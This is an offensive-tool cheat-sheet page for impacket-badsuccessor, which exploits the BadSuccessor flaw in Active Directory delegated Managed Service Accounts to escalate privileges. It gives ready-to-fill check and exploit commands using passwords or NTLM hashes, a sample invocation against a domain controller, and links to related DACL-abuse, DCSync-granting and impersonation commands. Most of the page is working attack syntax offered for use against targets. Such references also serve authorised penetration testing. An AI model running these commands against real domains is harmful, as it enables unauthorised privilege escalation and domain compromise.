Impacket badsuccessor
Exploit the BadSuccessor vulnerability to escalate privileges via delegated Managed Service Accounts (dMSA)
- Tool
- impacket-badsuccessor
- Category
- Privilege Escalation / ACL / DACL Abuse
- Platform
- linux
- Requires
- password
- Protocols
- LDAP
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
impacket-badsuccessor -action check '<domain>/<user>:<password>' -dc-ip '<ip>'
Credential variants
The same attack using a different authentication material.
NTLM Hash requires NTLM hash
impacket-badsuccessor -action check -hashes ':<hash>' '<domain>/<user>' -dc-ip '<ip>'
Exploit (create dMSA) requires password
impacket-badsuccessor -action exploit -target-account '<target_user>' '<domain>/<user>:<password>' -dc-ip '<ip>'
Examples
impacket-badsuccessor -action check 'CORP.LOCAL/user:password' -dc-ip '192.168.1.100'
Tags
Related commands
- Impacket dacledit Read or write DACL entries on AD objects to grant or abuse ACL rights
- Impacket getST (S4U) Abuse constrained delegation or RBCD via S4U2Self/S4U2Proxy to impersonate a user
- BloodyAD Add User to Group Add user to group using BloodyAD
- bloodyAD Grant DCSync Grant a target principal the DS-Replication-Get-Changes and…
- BloodyAD Set Object Owner Set object owner using BloodyAD
- Impacket dacledit.py Read, write, or remove DACL ACEs on AD objects from Linux. Use to grant yourself…
- Impacket owneredit Read or rewrite the nTSecurityDescriptor owner of an AD object. Use after a WriteOwner…
- Impacket owneredit Change the owner of an AD object (WriteOwner abuse)